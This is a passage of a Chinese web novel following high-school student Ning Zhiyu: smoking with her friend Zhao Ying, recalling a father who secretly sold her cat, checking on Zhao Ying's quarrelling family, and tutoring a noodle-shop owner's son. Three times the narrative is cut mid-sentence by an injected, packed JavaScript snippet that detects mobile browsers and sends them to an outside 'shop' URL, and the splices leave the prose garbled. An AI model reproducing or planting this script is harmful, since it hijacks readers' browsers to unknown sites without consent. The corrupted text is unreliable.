“你之前不是问周喜有没有带湖南的‘白沙’回来吗?她当笑话跟我们讲了,还说黄思源当时旁听的表情简直是恨不得装成聋子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133845|195417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 叼着烟的赵颖漫不经心地笑了一下:“我想你既然这样问,应该是没抽过吧?所以前两天去便利店里正好看到,顺手就买了。你要是喜欢的话,等会这半包拿回去。” “喔……有心了,我确实没抽过这个。不过我不拿,蹭别人的烟比较香。” 宁执玉嘴里咬着一根没点燃的香烟,从赵颖手里接过廉价的蓝色塑料打火机,用另一只手捂住风口来挡风,但打了好几次都打不出火苗来。 赵颖注意到这一点,问道:“打火机坏了?” “好像是,五毛钱的货就这么不经用。”宁执玉把打火机还给老赵。 赵颖又试了几次,果然失败,便很自然地说:“用我的火吧。” “好啊。” 得到允诺后,赵颖当即把自己已经点燃的烟头主动凑过去……两人头凑头,距离很近地借火,果然很快就点燃了宁执玉的那根未燃香烟末端。 这下是真的云雾缭绕起来了。 昏昏沉沉的冬季夜晚之初,两个女生就这样坐在冰凉的水泥台阶上抽着烟,谁也没急着开口说话。眼瞅着不远处的小狗在草坪上撒欢地跑来跑去,一会儿刨刨赵颖的裤腿,一会儿又来蹭宁执玉的鞋子。 赵颖随手给它喂了点卖家送的劣质狗粮,小狗也不嫌弃,疯狂摇着尾巴开始吭哧吭哧地吃起来。 “这样也吃得下去啊……真好养。”赵颖低头看着这小东西,莫名地叹了一声。 宁执玉其实有感觉她想跟自己倾诉点什么,便不疾不徐地反问:“你后悔了?” “也说不上后不后悔,毕竟都已经买了,总得对它负责吧?虽然我也不喜欢它。”赵颖闷闷地用另一只手卷着自己的发梢,面上是说不出的些许烦躁,“我只是有点担心我爸妈不会喜欢这狗……” 宁执玉看着这只小土狗一会儿,忽然很平淡地说:“我没来陈水之前,也养过一段时间的宠物。” 赵颖闻言稍微坐直了一点身子:“也是狗吗?” “不是,是猫。”宁执玉用嘴叼着烟,双手比画出一个大概的轮廓宽度,仿佛仍有一只无形的猫咪趴俯在她的怀中,“布偶猫,很漂亮,眼睛是蓝色的,像是一个小公主那样美丽。听说是有血统的那种。” “哇!那一定很贵吧?”赵颖惊叹道。 “是啊,我五岁时我爸买来送给我的生日礼物……”说起往事,宁执玉的神色依旧没什么变化,也可能她在心里已经预演过很多次这样的画面,“他好像还是跟某家老牌猫舍提前一年多预定的,总之花了很大的心思。” “我很喜欢那只猫,也很喜欢那个时候的我爸爸。” 赵颖试图想象着老宁一家人和乐融融的陌生画面,结合着自己以前在网上看过的布偶猫照片,感觉确实非常美好,她忍不住问道:“猫叫什么名字?” “塞尔达。” “……什么意思?”赵颖不太理解这个名字的出处。 宁执玉耐心地解释道:“日本‘任天堂’游戏公司推出的经典游戏《塞尔达传说》系列里面的女主人公塞尔达,是一位非常勇敢的公主。” “哦哦,懂了。公主的名字和公主小猫,听起来就很般配。” 赵颖抽了一口烟总结道。 宁执玉莫名笑了一下,继续慢吞吞地回忆道:“我那个时候已经会玩Switch游戏机了……那是我爸的东西。他教会了我该怎么玩,说要把我培养成一个好对手……我妈都比他成熟稳重得多。” “所以我希望我的小猫也能跟塞尔达公主一样勇敢无畏,不过事实证明——布偶猫还是太娇气了,三天两头闹些小毛病,我带着它没少跑宠物医院。” 说到这里,宁执玉停下,定定地抽了两口烟,随后将那白烟从口中吐出。 赵颖本以为接下来能听到关于“塞尔达猫”的更多故事,但是宁执玉似乎没有急着述说的意思,只是一口一口地抽着烟,目光有些空洞而焦灼。 这个样子的宁执玉显得很陌生。反正在赵颖的印象里,自从初一那会儿认识这个朋友后就没见过类似几次的表情。 赵颖等了一会儿,眼看自己手里的烟都快没了,老宁还是不张嘴,她便只好主动问了:“后来……怎么样了?你来了陈水,‘塞尔达’又去哪里?” “它被我爸卖了。”宁执玉面无表情地回答,“他还骗我说被车撞死了,生怕我非要去找回猫——我当时信了。” “要不是他后来跟我妈吵架时说漏了嘴……” 至于后面的事情,宁执玉就没再说下去,只是狠狠地吸了一口烟,被呛得咳嗽了两声。 因为惊骇和难以置信,赵颖的眼睛不受控制地睁大了几分。 “老宁你……” 然而没等她说点什么安慰人的话语,一个身形高瘦的女生就从不远处走过来,打断了赵颖原本的念头。 这人看起来像是已经成年的大学生学姐,披散着一头齐刘海的黑色长发,时刻微笑地眯着眼睛,莫名自来熟地问:“不好意思,我听到你们在聊……猫?” 12.养宠的前提 也许是想起了自己父亲的背叛言行和那只不知去向的爱猫,宁执玉此时心情不太好,因此很自然地站起身来挡在赵颖的面前,与那个貌似大学生的眯眯眼女生对视着。 “这位姐姐,偷听别人讲话不太礼貌吧?” 说出这话时老宁嘴里还叼着小半根燃烧着的香烟,再加上她脸上那道显眼的刀疤,令其看起来特别的……不像个正派人。 宁执玉当然知道自己破相了,毁容了,但她平时都能拿这道疤来自黑开玩笑,又怎么会介意去使用自己另外一种意义上的“相貌优势”呢? “不好意思。” 眯眯眼女生毫无歉意地解释了两句,她的普通话非常标准,准到不像是这边最常见的南方人:“我只是正好看到你们的小狗,觉得很可爱……然后又听到猫什么的。” 豁,一个北佬? 来自广东的宁执玉跟触发了某种底层代码一样,在心里跳出了这么个充满着地域歧视色彩的称呼。 ……毕竟对于她家乡的人来说,但凡广东省以北的地方都能这么叫。陈水可能也算是“北方”。 但她很明智地没有说出这个词,只是警惕地盯着这个不请自来的客人。 “这狗是你的吗?我能摸吗?”眯眯眼姐姐似乎真的很喜欢这小东西,完全无视了老宁那几乎写满了抗拒意味的表情,笑着追问道。 宁执玉沉默了几秒,稍微侧身让开,指了一下后面的赵颖:“她的。你问她吧。” 有点愣神的赵颖也反应过来,忙不迭地说:“哦,随便摸,它很乖的。” 这个披散着长发的眯眯眼女生居然还真的蹲下身来,摸着小土狗的脑袋,看得出来,手法娴熟而自然。 宁执玉又坐回了水泥台阶上,默默地盯着她和小狗的互动。 ——话说这人都不觉得气氛很尴尬吗……我可是在和朋友聊天啊!她就自顾自地闯进来打断了! 老宁用眼角余光扫了一眼身旁的朋友,发现赵颖此时也一脸放空和茫然,显然想法跟自己差不多。 那女生玩了几分钟后抬头看向她们:“这只狗叫什么名字?” 赵颖:“呃……暂时叫狗。” “就叫狗?”眯眯眼女生疑惑地重复着,然后开了个玩笑,“我还以为这只狗会被你们取名为‘猫’呢。” “……”,宁执玉无动于衷,并不是任何人的冷笑话她都会选择笑起来。 赵颖有点尴尬不安地看了老宁一眼,见她没有任何动怒的迹象后方才回答:“暂时的名字而已。” “好吧,狗多大了?”那女生又问。 “一个多月吧……”赵颖想了想,意识到卖狗的老板压根儿没提这件事,只好依照感觉随便说了个时间,“我不知道。” 几分钟后,这个古怪的眯眯眼女生很快就心满意足地拍着手站起来,向她们和小狗告别:“再见啦,狗!” 这人潇洒离开的背影迅速地消失在小区建筑群之间,就如她来时那样神秘。 宁执玉把手中已经烧完的烟头掐灭,忽然没头没尾地问:“你认识她?” “啊?哦,之前丢垃圾的时候见过一两次。”赵颖老老实实地回答,“好像是新搬来的邻居吧,不太熟,连叫什么名都不清楚。” 听到这个回答,宁执玉的心情莫名好了一些,但还是不太放心地提醒道:“这人感觉哪里怪怪的,你要是再看到她的话要小心点。” 赵颖想说其实以前你看到很多人时都这样点评……不过毕竟是好友的一番心意,她便点了点头。 “知道了。” 烟抽完了,小狗也在草地上玩累了,赵颖终于决定鼓起勇气回家面对自己做出的选择所带来的结果。 她将软乎乎的小狗塞回书包里,正要起身跟宁执玉告别,却听依旧坐在台阶上的宁执玉开口道:“老赵,别给自己太大压力。” “什么?”赵颖愣了一下,不太明白她为什么会这么说。 宁执玉低着头像是在盯着下方台阶上的陈年污渍,口中却是在对已经站起身的赵颖说话:“如果你有任何需要帮忙的地方,随时联系我。” 说着她竖起大拇指和尾指,其余三指蜷缩,凑到耳边做了一个“打电话”的手势。 赵颖盯着这个朋友看了好一会儿,纳闷道:“你是说哪方面?” “当然是你家不想要这条狗的最坏情况下。”老宁终于抬头看向她,话语间神色是经过长久思考后的平静,“我不敢保证能帮忙多长时间,但起码在我二舅没回来的这些天里,小狗可以暂时放到我那儿寄养……或者我帮它找新的收养人也行。” 听到这话,赵颖心里的压力像是被骤然卸去了大半,但她面上还是犹犹豫豫地说:“这样吗?太麻烦你了吧。” “朋友之间,不就是用来互相麻烦的么。”宁执玉抓着书包的带子站起身,回头看向已经走到上方台阶的友人,露出一个清浅的笑容,“赵颖,你是一个好姐姐,为了妹妹长久的心愿而自掏腰包买了小狗,这是值得表扬的事情……起码在我看来,你已经做得很棒了——所以我愿意跟你一起分担这件事的压力,而你也不需要这么愁眉苦脸。” “老赵,开心点。” 赵颖惊讶地看着这个朋友足足好一会儿,最后她不得不用力抿着唇才让自己不要露出太感动的表情……不过她依旧是语气轻快地“嗯!”了一声。 老宁也笑了,她对赵颖摆摆手:“那我走咯,得去吃晚饭。吃完饭还得学习呢。” “要不要我请你吃?”赵颖连忙问。 宁执玉一脸认真地思考片刻,还是拒绝:“中午宰过你一次了,今晚姑且先饶过你的钱包……下次吧。加油哦。” “好!” 直到看着朋友用单肩背着书包的身影孤独地消失在小区的过道尽头,赵颖才深吸了一口楼梯间冰冷的空气,带着小狗回家了。 果不其然,家里人的反应跟赵颖预计得差不多,她爸对于赵颖买了便宜的土狗还是昂贵的品种犬这件事毫不关心,只要赵颖别牵着一头哥斯拉进家门就没问题。 反倒是张阿姨客客气气地感谢了她帮忙,生疏得赵颖好像才是第一次登门做客的客人那样……但是面对这只丑萌的小土狗,妹妹赵子璇根本开心不起来。 “我只想要白色的那只!我要点点!” “你们明明都知道我想要哪一只,但是为什么没人听我的?!” 小姑娘开始崩溃地大哭大闹,在床上滚来滚去,一时间哭得赵颖人都麻了,小狗也吓得往赵颖的背后躲。 前来安抚孩子的张阿姨还没说几句就被丈夫装模作样地训斥,阿姨顿时怒火万丈,大吼着“你来当什么好人”……于是两个大人毫不意外地爆发了柴米油盐之间的争吵。一旁的赵子璇还在嗷嗷哭,没人管她。 结果就是赵颖和小狗最后只能尴尬地躲在客厅的角落,试图不让家人们的战火扩散到自己身上。 ……今天好难熬啊。抱着小狗蹲在客厅角落里种蘑菇的赵颖默默地想着。 为了躲避眼前过于激烈的争吵,赵颖从窗户玻璃处逃避般地向外张望,想去看看其他邻里的灯火和更远处的夜景,然后她看见——老宁?! 不知何时去而复返的宁执玉正背着书包、双手插兜地站在她家楼下,依旧是以那种缺乏情感波动的冷淡表情抬头张望。 老宁此刻的模样看着不像是在关心朋友,更像是准备挑选个埋伏地点,好方便来日跳出来砍赵颖一刀。 想到那个不切实际的画面,赵颖有点哭笑不得地一手抱狗,一手摸出了手机,给对方发消息。 站在楼下吹冷风的宁执玉并不觉得自己独处时摆出一副冷脸有什么问题,她此时只是单纯怀疑自己是不是脑子进水了。 她刚才明明都快走到马路边上的公交站了,思来想去,还是不放心,临时决定回来再看多两眼。 赵颖这人的性格她很熟悉,历来不爱麻烦别人,也不爱向朋友们展示自己过于脆弱的一面,总是装作非常坚强潇洒的样子——这点跟宁执玉偶尔会利用自己的“贫穷”和“软弱”来博取他人同情的性格大不相同。 宁执玉有点担心赵颖遇到一时半会儿过不去的坎时,会选择撞个头破血流,亦或者压在心里变成精神内耗问题。 但是朋友嘛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144002|195417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……就算彼此间性格不一样,关爱对方的心仍然是一样的。 于是宁执玉又默默地溜达回来,也没通知谁。 反正这人就打算在赵颖家的楼下蹲个十来分钟,透过她家的客厅灯光和窗户剪影看看有没有发生什么剧烈争吵,比如一只小狗被高空抛物扔下来之类的…… 还好,狗没有被扔出来,老赵的讯息倒是先来了。 【孤独的狼(赵颖):你怎么回来了?】 摸出手机的宁执玉想了想,打字回复起来。 【死是凉爽的夏夜(宁执玉):担心狗,】 她们两人就这样一个在楼上的客厅角落,一个在楼下的过道边缘,噼里啪啦地敲打手机屏幕互发消息。 【赵颖:哦,我爸爸和阿姨都不反对养它,应该没啥大问题。 宁执玉:也担心你。 赵颖:大感动!! 宁执玉:收到。 宁执玉:话说你妹妹呢?喜欢这只小狗吗。 赵颖:哎呀烦死了,还在哭,一直嚷嚷着要买那只白色比熊。 宁执玉:你好像在羡慕她。 赵颖:……说不羡慕是骗人的吧?反正我爸也从来没有这样宠过我。 赵颖:唉。 赵颖:流泪狗狗头.jpg 宁执玉:等你以后上了大学,找了工作,经济独立后就可以养任何你想养的宠物了。不用羡慕谁。 赵颖:哈哈,老宁你这饼画得真是又大又圆……到时候的“宠物”也包括你?笑.jpg 宁执玉:可以,但得加钱。 赵颖:那我先找老王借点。 宁执玉:OK,我没任何意见。】 接下来好几分钟都没有新的消息进来,宁执玉抬起头,发现赵颖被客厅灯光倒映在窗户上的剪影已经没了……说明老赵暂时离开了那个地方。 宁执玉又耐心地在原地等了一会儿,借着路灯的灯光背了几个单词,赵颖的最新消息这才跳进手机里。 【赵颖:暂时搞定!阿姨不跟我爸吵了,把我妹强行抱去洗澡了! 赵颖:不过感觉她也被这个家折磨得不轻……唉,有时候我也挺同情她的。 宁执玉:那是你阿姨的人生课题,跟你无关。 赵颖:啊?啥意思? 宁执玉:通俗来说,就是“关你屁事”和“关我屁事”这两句话在实际中的运用。 赵颖:?不太懂。 宁执玉:没关系。因为关我屁事。 赵颖:…… 赵颖:好像懂一点了。 宁执玉:孺子可教。 宁执玉:猫猫竖起大拇指.jpg 赵颖:嘿嘿。 宁执玉:快去吃饭吧,你今晚已经做得很棒了。 赵颖:哇!你怎么知道我还没吃饭? 宁执玉:我有透视眼,看到你家餐桌上还有剩饭剩菜。 赵颖:……给我说人话。 宁执玉:因为我也还没吃。 赵颖:对不起!今晚实在是辛苦宁老板了! 宁执玉:没事儿。 宁执玉:这回真走了。 赵颖:好的。你路上小心,到家了跟我说一声。 宁执玉:OK,老赵你也要开心点。 赵颖:吼呀!】 接下来就没有新的讯息了。 吵闹的源头已经暂时转移到浴室里并被安抚住了,赵颖这才把瑟瑟发抖的小狗放在客厅里,任由它转来转去地闻着这个陌生家庭的气味。 正在看报纸的赵杰抽空看了一眼这个大女儿和地板上的小狗,冷漠地说:“它在地板上乱拉屎的话,你要记得及时擦干净啊。” “知道了,爸。”赵颖低声回答。 她一边回答,一边快速地重新走回客厅窗户处,向外张望,发现宁执玉果然已经不在视野所能及的范围内,显然是真的离开了。 先前赵颖在楼下抽烟时,原本还想问老宁一个问题,只是不巧被那个眯眯眼的姐姐出现而打断。 其实她想问宁执玉……如果以后有机会,你还会再养一只猫吗? 13.大过年的 今晚没什么急事要处理的宁执玉并没有第一时间回烧烤店,而是在距离烧烤店还有一个街角拐弯距离的另一家店铺门前停下脚步。 浓郁且熟悉的香味在寒冷的冬夜空气中飘来,烧得有些焦黄的巨大牛腿骨被精心地摞在窗边大锅中,高汤在锅中沸腾翻滚,让来往行人都能一眼瞥见这儿的真材实料。 路过的宁执玉也不例外,忍不住多看了两眼。 站在玻璃厨房里头的老板是一个四五十岁的板寸头大叔,身体圆润,肚皮滚圆,这么冷的天居然还能穿着短袖在厨房里头干活。 这人注意到了宁执玉的迟疑——毕竟她脸上那道疤太容易让人记住了——胖老板当即探头用家乡话打招呼道:“这不是隔壁烧烤店的小玉吗?好久不见!你吃饭没?没吃的话进来吃碗粿条?” “粿条”是潮汕地区的一种特色米制品,有点像是河粉,但建议最好别在潮汕人面前把它们相提并论或者混淆。 确实有点饿的宁执玉叹了口气,终究是挡不住“过年吃点好的”这个充满诱惑的念头,最终还是撩开塑料门帘走进热乎乎的店里,用还算正宗的潮汕话对胖老板说道:“张叔,来碗十块钱的牛肉粿条汤,这里吃。” “知道啦!”老板看了她一眼,开始娴熟地开始切鲜红的牛肉。 宁执玉虽然以前生活在粤语盛行的羊城地区,但这人从小就有点语言天赋,没少看不同地方的电视台节目。以至于广东省的三大主流方言——粤语,潮汕话,客家话——她都能说个七七八八,精通谈不上,但日常交流基本没问题。甚至就连陈水这边的方言也是早年跟亲妈玩闹时学过的,只是没想到后来真派上用场了。 宁执玉拿出手机在扫墙上的二维码提前付钱,随口问张老板:“叔,你们今年不回家过年啊?” 之所以会产生这样的疑问,是因为她记得往年这家潮汕汤粉店的关门时间甚至比二舅家还早一两天,而且老板本人会待到正月十五的“拜老爷”仪式之后才会回来。(注:当地的一种拜神民俗称谓。) 本是随口闲谈,没想到原本笑呵呵的胖老板一下子有点苦着脸了,他说道:“我老婆前几天跟朋友出去玩,吃错东西,几个人都得了肠胃炎,上吐下泻的……现在她们还在医院住着呢。阿文刚刚还去给他妈送粥,还没回来。” “啊?那么严重。”宁执玉愣了下,环顾店里,只发现墙角那老板专用,摆放着一套功夫茶具的小桌子旁坐着一个初中男孩在抓耳挠腮地写寒假作业,果然不见了平日里那位笑脸迎客的老板娘和沉默寡言干活的大儿子。 她试探着提醒道:“这是食物中毒了吧,叔叔你们报警没?” “当天就报了!警察也来看了……后来那家店的老板愿意出医药费和赔偿金。我们就觉得只要人能治好就行。” 张老板乐观地挥挥手,把切好的牛肉放在称台上称重,随后就整团扔进了滚烫的棕褐色高汤里。 他一边烫牛肉一边说:“这几天我老婆已经好很多啦,小玉你不用担心!回家的话……我们往年是自己开车回去嘛,我想着就等我老婆过两天出院以后再走。” 宁执玉赞同道:“那确实是要慢慢来。” “行了,你找个暖和点的地方坐吧,快煮好了。对了,小玉你加不加辣?”老板习惯性地问。 宁执玉有点儿哭笑不得:“清汤就好。” ——我来你这广东的店里加什么辣啊? 很快,宁执玉面前就被老板端来一大碗热气腾腾的牛肉粿条汤。 雪白的粿条铺在牛骨高汤里若隐若现,而色泽粉红的新鲜薄牛肉堆积如山,上面还摆放着一些切碎的翠绿香菜和芹菜粒,汤面漂浮着几个被油腌过浸泡的棕色红葱头……香得不得了。 拿着筷子宁执玉却迟疑了好几秒,直到她看见碗边还有两颗硕大的手打牛肉丸后终于确信老板搞错了什么:“老板,你是不是上错了?我记得没点这个啊。” 而且这牛肉分量多到不像是往日10块钱能吃到的程度…… 张老板貌似疑惑地走过来,先是看了一眼店里坐得比较远的其它三桌客人,确认他们听不见后方才憨厚地笑着低声解释:“正好快过年了,请你多吃一点。你一个广东小孩在这里读书也不容易,都瘦成什么样子了,也不知你爸妈怎么想的。” “……谢谢张叔,真的很感谢您!”反应过来的宁执玉立刻站起身,想要掏出手机去扫墙壁上的二维码,“但不用这样,我不能让您亏本做生意。” 可最后还是张老板一手摁着女孩子的手臂,强行把那台手机又给塞回口袋里去,然后他不容置疑地说:“大家都是老乡,客气什么?就当是张叔提前给你发了个小红包吧!又不是天天给你加餐!……就这样啊,不许扫。” 说完他就不等宁执玉再说什么,径直转身回玻璃厨房里继续忙活起来了。 宁执玉握着口袋里的手机在原地傻站了几秒,她只能用力地绷紧脸,以免得自己鼻头泛酸的感觉扩大,导致最后眼泪掉下来的尴尬场面发生。 片刻后,她沉默地坐下,拿起筷子,开始大口地吃晚饭。 等宁执玉快吃完时,长得像个猴子一样的张老板大儿子阿文风尘仆仆地回来了,他穿着一件耐脏的黑色短款羽绒服,手里还提着个保温桶。 阿文走进厨房跟老板打了声招呼,然后就默不作声地往店铺后面的方向走,估计是要去换件衣服。结果半路被他弟给拉住衣角,不让走。 下一秒,宁执玉听到那弟弟用家乡话问他哥这道题怎么解,阿文当即乐了:“你哥我初中没毕业就因为跟人打架辍学了……你还指望我能记得?记不得记不得,小武你自己翻后面的答案看吧。” 说完他就掀开门帘走了。 但是小武明显不想翻看作业后面的参考答案,只好愁眉苦脸地抓着自己脑袋,一副CPU要过载的模样。 宁执玉想了想,索性把剩下那点牛肉含糊地全都塞进嘴里,一边嚼一边站起身走到那个初中生身后,大大方方地探头看了十几秒难倒这孩子的题。 【如图,在任意四边形ABCD中,E、F、G、H分别是边AB、BC、CD、DA的重点。连接EF、FG、GH、HE的话,求证:四边形EFGH是平行四边形。】 诶……那么经典的初中平面几何题啊。宁执玉将嘴里的食物给咽下去。 小武察觉到有人靠近,疑惑且警觉地抬头看向站在桌子旁的这个姐姐,不知道她想做什么。 “连接AC。”宁执玉突兀地说。 小武半信半疑:“啊?” 见这家伙磨磨蹭蹭的,宁执玉索性弯下腰,抓起桌上的半截铅笔在图上开始画辅助线,然后又用笔尖分别指着E、H和F、G这两组点,对这个弟弟说道:“你看△ABC。E、F是两边中点,所以EF是它的中位线——这点能理解吗?” 小武来不及多问,点头:“嗯嗯!这个明白。” 宁执玉一边说一边在草稿纸上写起来:“那么,我们可以得出结论:EF // AC,且 EF = ? AC。” “然后再看△ADC。H、G是两边中点,所以HG也是中位线。最后的结论:HG // AC,且 HG = ? AC。” 小武的表情从茫然到渐渐出现了某种恍然大悟的神采,脱口而出道:“所以……EF 和 HG 平行且相等!” “对啦。”宁执玉轻轻夸了一声,算是给予肯定,放下铅笔,“一组对边平行且相等,它就是平行四边形。证完了。” “懂了!谢谢姐姐!”小武高兴地在卷子上奋笔疾书起来。 不过他写了两行突然想起什么,连忙眼巴巴地抬头看向宁执玉:“那个,姐,我还有其它几道题,不太懂原理……” 宁执玉对此早有预料,一把拉开旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151876|195417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边的塑料凳坐下:“说吧,我看看自己会不会。” “小武!”不远处的玻璃厨房里张老板突然探出头来,胖胖的圆脸上是难得的严厉神色,“你小玉姐是高中生,马上就要高考了,很忙的!你不要耽误人家的时间!” 宁执玉想说倒也没有“马上高考”的程度,起码也得到明年六月。而如今2018年都才刚开了个头呢。 “可是……” “听话!”张老板对自己的小儿子厉声道,好像下一秒就要抡着大铁勺来揍小孩了。 小武呆呆地看着他爸好几秒,明显怂了。于是他将脑袋转向宁执玉,很艰难地开口:“那小玉姐你先走吧,我自己翻参考答案再想想就行。” 宁执玉当然一眼看出这弟弟说话的言不由衷,因此笑了笑,抬头对张老板说道:“没事啊张叔,花不了多少时间。我给他讲几道题就走,反正我今晚吃太饱了,回去也那么快开始学习的。” 张叔愣了愣,反复确认宁执玉此刻的神情并非是被迫或者不情愿的那种,他最后还是讪讪地点头,胖墩墩的身子缩回门后去了:“行,你们慢慢讲吧。阿文!” 换了身旧衣服,从门帘后面走出来的大儿子一脸疑惑。 张老板:“给小玉倒杯茶!用绿色罐子里的那个茶叶,那个好一点。” 阿文也没有问为什么,只是看了他们一眼,很顺从地答应:“哦,知道了。” 七八分钟后,依言而做的阿文给他们泡了壶工夫茶,给宁执玉和自己小弟分别倒了一杯,然后才去厨房帮忙。 宁执玉本来是看在张老板请自己吃加量不加价的牛肉和小武这弟弟的学习态度上愿意给他免费讲几道题,没想到越讲她越觉得不对劲,干脆停下讲题,拿起他的课本对小武考校一番,最后得出结论:“你这样下去不行啊,知识点都是散的,成不了体系……单纯做题没什么太大用处。” 小武也很苦恼,显然他知道自己的问题根源所在,小声地问:“那怎么办?” 宁执玉想了想道:“你们打算什么几号回老家?” “不知道,得看我妈什么时候能出院。”小武说。 “这样,我有个主意:在这几天里只要你们不关门,我就每天抽一个小时过来给你梳理一下知识体系,能学多少就看你自己了。你觉得行不行?”宁执玉提议道。 反正她也不是每天24小时埋首书山学海里的,用一个小时来教初中生搭建自己的知识体系,这种事对于老宁来说纯属是脑子放松了。 小武当然是喜出望外,毫无意见,因此两人交换了微信联系方式后就告别了。临走前宁执玉翻了翻他的寒假作业习题册,在上面给他圈了几道重点,布置了今晚的优先任务。 “好好写,明天我要检查的啊。” “好的,小玉姐。”小武很乖巧,看得出来,是个想要努力学习变好的学生。 宁执玉寻思着张老板家小儿子的这份乖巧和好学怎么就不能分给自己那个愚蠢的大表弟徐宗昌一点呢……明明大家都是初中男生。 等宁执玉走出热气腾腾的粿条汤店,胖墩墩的张叔从后面追出来,拉着宁执玉要硬塞给她补课费。 “张叔也知道你们高中生很忙,你这样上课一个小时多少钱?说个价。我补给你。” 宁执玉坚持不要,也不肯报价,张老板说要的要的……以至于她甚至最后不得不装作发火的样子来拒绝这份热情:“叔啊,您再这样子,我以后就不来这里吃饭了!连这条街都不来了!” 张老板:“……” 他最后还是拗不过作势要走的宁执玉,只好用手摸着自己的板寸头,一脸憨厚地笑着说:“明天有空就过来吃饭哈,你不收补课费也行,起码让我请你吃顿饭吧?” 哦,这个可以有。起码年前几天的一顿饭至少有着落。 就这样,自诩日行一善的宁执玉心情不错地回去学习了。 14.吃饭而已 一大早宁执玉就很准时地起来锻炼、吃饭,然后开始沉迷学习。 不过今天学没多久,赵颖的电话就打进来了。 老宁瞄了一眼手机屏幕顶端显示的时间,发现也才九点多,顿时有点惊奇——因为依照她对朋友们作息时间的大致了解,这个点赵颖多半才刚起床没多久。 反正二楼包厢里没有其他人,宁执玉接听后直接开了免提,一边在草稿纸上演算大题一边打电话。 “哟,死鬼,怎么一大早就开始想人家了。”她随口调侃道。 “这不是想着照顾老宁你的生意吗?”手机那端传来了赵颖的声音,被免提功能放大到一个有点不像是平日里的模糊声线。 “我能有什么生意啊。”宁执玉略感惊讶,“难不成你也要来找我补课?” “什么叫‘我也’?”赵颖也惊了,“老宁你最近去当家教啦?牛逼!” 宁执玉回答:“哎,不是家教,我哪有这时间。主要是顺手帮一个老乡的孩子几天,顺便蹭顿饭吃。” “挺好,不愧是你。”赵颖很快想起了今天的正事,问道,“对了老宁,你做饭的手艺怎么样?” 宁执玉谨慎地反问道:“你说的是粤菜还是川菜?” “你还会做粤菜?什么时候请我们尝尝呀。”赵颖的语气里明显多了几分戏谑。 “你想吃的话等会提一只鸡过来,我给你做白切鸡。”宁执玉盯着眼前的草稿纸,一心二用地思考着接下来要用哪个公式的变形去套这道题。 电话那端的赵颖倒是没察觉到朋友在分心写东西,径直回忆了一下:“这道菜我以前也跟我爸他们出去吃过……感觉很腥啊?” “呸,你们这些无辣不欢的外地佬,跟你们没话好说。” “外地人是你才对吧!而且我也没有无辣不欢!”赵颖怒了。 对朋友贩剑成功的宁执玉哈哈一笑。 两人颇具沙雕气息地拌嘴了几句后,宁执玉表示自己的厨艺“基本及格”,然后问朋友今天神神秘秘地到底想干嘛。 赵颖就直说了:“是这样的,我爸和阿姨一大早出门办事去了,让我带着我妹解决午饭。所以就想问问你那边能不能蹭顿饭……” 真是倒反天罡了,老赵你在新一年里还学会带人来我这里蹭饭啦?真是了不得。 “可以啊。”宁执玉慢悠悠地说,“快来,咱们一起在烧烤店里吃水煮麦片,连盐都不用放——这个我请得起。” 赵颖那边哭笑不得地赶紧解释:“刚才没来得及说,我爸给我留了50块的吃饭经费,你能搞几个菜吗?……别是水煮麦片就行。” 宁执玉这才理解赵颖没有在开玩笑:“没问题。所以老赵你想吃什么?” “我随便都行……赵子璇嚷嚷着说要吃麦当劳。” 宁执玉顺着她的话回答:“那你带她去吃?” “麦当劳最近的新套餐真是死鬼贵!五十块都喂不饱两个人。”赵颖抱怨道,“……而且让阿姨带她去吃吧。” 这种“要花更多钱的麻烦事让妹妹找家长吧”的甩锅感觉真是太熟悉了。 瞬间明悟的宁执玉忍不住笑起来,赵颖也发出了心照不宣的笑声,笑过之后宁执玉答应了这单小生意。 “行,我几点能过去?”赵颖问,“我会带上狗和我妹的。” 宁执玉假装惊讶:“什么?狗也要来?不好意思,狗吃饭是另外的价格。” “喂,你够啦!” 老赵当然听得出这人在开玩笑,因此笑着骂了几句后就扯回正题,两人很快约定好一小时后见面这事儿。 ………… …… 等一个小时后,赵颖背着装有小狗的书包,一手牵着长相可爱的妹妹赵子璇出现在烧烤店门口时,骑着电动单车的宁执玉刚好从最近的菜市场买菜回来。 车载挂钩上还有好几个塑料袋和一把探出头的葱。 “哇!”赵颖不可置信地看着朋友是如何用力把卷帘门往上推开的,“你哪来的电动车?什么时候买的。” “不是我的。这是我舅妈平时接送我那个小表弟上下学用的小车。这几天他们允许我借用一下,但不许我开太远。” 宁执玉打开上锁的玻璃大门,然后将单车推进去停好,方才转头看向被赵颖牵着的那个粉雕玉琢的小姑娘,打了声招呼:“好久不见啊,璇璇。好像又变漂亮一点啦?” 